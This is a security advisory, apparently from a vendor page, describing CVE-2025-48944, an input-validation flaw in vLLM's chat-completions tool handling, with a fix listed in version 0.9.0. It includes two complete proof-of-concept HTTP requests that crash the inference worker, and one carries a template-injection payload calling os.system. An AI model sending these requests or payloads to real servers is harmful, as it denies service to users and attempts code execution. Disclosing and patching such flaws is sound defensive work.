CVE-2025-48944

The vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted.

Details

The "type" field is expected to be one of: "string", "number", "object", "boolean", "array", or "null". Supplying any other value will cause the worker to crash with the following error:

RuntimeError: [11:03:34] /project/cpp/json_schema_converter.cc:637: Unsupported type "something_or_nothing"

The "pattern" field undergoes Jinja2 rendering (I think) prior to being passed unsafely into the native regex compiler without validation or escaping. This allows malformed expressions to reach the underlying C++ regex engine, resulting in fatal errors.

For example, the following inputs will crash the worker:

Unclosed {, [, or (

Closed:{} and []

Here are some of runtime errors on the crash depending on what gets injected:

RuntimeError: [12:05:04] /project/cpp/regex_converter.cc:73: Regex parsing error at position 4: The parenthesis is not closed.
RuntimeError: [10:52:27] /project/cpp/regex_converter.cc:73: Regex parsing error at position 2: Invalid repetition count.
RuntimeError: [12:07:18] /project/cpp/regex_converter.cc:73: Regex parsing error at position 6: Two consecutive repetition modifiers are not allowed.

PoC

Here is the POST request using the type field to crash the worker. Note the type field is set to "something" rather than the expected types it is looking for:
POST /v1/chat/completions HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
Content-Length: 579
Origin:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{
"model": "mistral-nemo-instruct",
"messages": [{ "role": "user", "content": "crash via type" }],
"tools": [
{
"type": "function",
"function": {
"name": "crash01",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "something"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash01",
"arguments": { "a": "test" }
}
},
"stream": false,
"max_tokens": 1
}

Here is the POST request using the pattern field to crash the worker. Note the pattern field is set to a RCE payload, it could have just been set to {{}}. I was not able to get RCE in my testing, but is does crash the worker.

POST /v1/chat/completions HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer:
Content-Type: application/json
Content-Length: 718
Origin:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

{
"model": "mistral-nemo-instruct",
"messages": [
{
"role": "user",
"content": "Crash via Pattern"
}
],
"tools": [
{
"type": "function",
"function": {
"name": "crash02",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "string",
"pattern": "{{ import('os').system('echo RCE_OK > /tmp/pwned') or 'SAFE' }}"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash02"
}
},
"stream": false,
"max_tokens": 32,
"temperature": 0.2,
"top_p": 1,
"n": 1
}

Backend workers can be crashed causing anyone to using the inference engine to get 500 internal server errors on subsequent requests.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2025-48944 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.0); upgrading removes the vulnerable code path.

Kodem intelligence

• https://github.com/vllm-project/vllm/pull/17623

1. What is CVE-2025-48944? CVE-2025-48944 is a medium-severity improper input validation vulnerability in vllm (pip), affecting versions >= 0.8.0, < 0.9.0. It is fixed in 0.9.0. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2025-48944? CVE-2025-48944 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vllm are affected by CVE-2025-48944? vllm (pip) versions >= 0.8.0, < 0.9.0 is affected.
4. Is there a fix for CVE-2025-48944? Yes. CVE-2025-48944 is fixed in 0.9.0. Upgrade to this version or later.
5. Is CVE-2025-48944 exploitable, and should I be worried? Whether CVE-2025-48944 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-48944 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-48944? Upgrade vllm to 0.9.0 or later.